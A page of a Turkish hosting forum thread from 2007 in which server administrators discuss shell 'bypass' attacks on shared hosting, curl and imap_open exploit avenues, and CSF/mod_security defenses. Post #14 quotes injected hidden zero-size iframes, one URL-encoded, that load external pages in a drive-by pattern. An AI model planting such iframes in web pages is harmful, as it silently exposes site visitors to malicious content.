bypass ve hesaplar arası izinsiz geçiş - Sayfa 2

20-04-2007, 15:58:11

#10

Haymac

Misafir

curl ve imap_open komutlarında da exploit yapılması mümkündür

Load local infile (mysql) de my.conf dan ayarlanıyor.

20-04-2007, 16:28:53

#11

Ni-Osman

Kurumsal PLUS

curl'a çok dikkat edin mesela... normal php de bu işi yapacak kodları engellersiniz ama curl ile yapılan işlemleri daha henüz ben bile tam çözemedim apache de nekadar php ek modülü varsa okadar kafa karıştırıyor pear php gibi mesela...

csf ile mod_securtiy beraber çalışırsa kural dışına çıkanları csf banlıyor haberiniz ola.

20-04-2007, 17:22:22

#12

~~Mack~~

Üyeliği durduruldu

kullanılan panelden de olabilir mi açık?

20-04-2007, 21:39:53

#13

Kuzeytemiz

Türk Bypass Shell yapımcılarından olan Liz0zim bu sitede üye gelirse yorum yapar heralde.

20-04-2007, 21:50:08

#14

Elazığlı168

sunucuoptimizasyon.com

!ndream adlı üyeden alıntı: mesajı görüntüle

sunucu ve/veya bilgisayarını gözden geçirmende de fayda var.
bkz:

%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%65%72%6E%65%61%6C%69%7A%6D%2E%75%73%2F%77%69%6E%64%6F%77%73%2E%68%74%6D%6C%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E%20<iframe src="http://www.68aa.cn/mu/index.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.68aa.cn/mu/index.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.68aa.cn/mu/index.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.68aa.cn/mu/index.htm" width="0" height="0" frameborder="0"></iframe>

evet farketmiştim bende onu bi nevi shellin hangi adreste olduğu bilgisini uçuruyor zannedersem

24-07-2007, 11:02:14

#15

dogubex

KUZ3Y adlı üyeden alıntı: mesajı görüntüle

Türk Bypass Shell yapımcılarından olan Liz0zim bu sitede üye gelirse yorum yapar heralde.

hehe

) bence mod_security Kuz3y anladın sen onu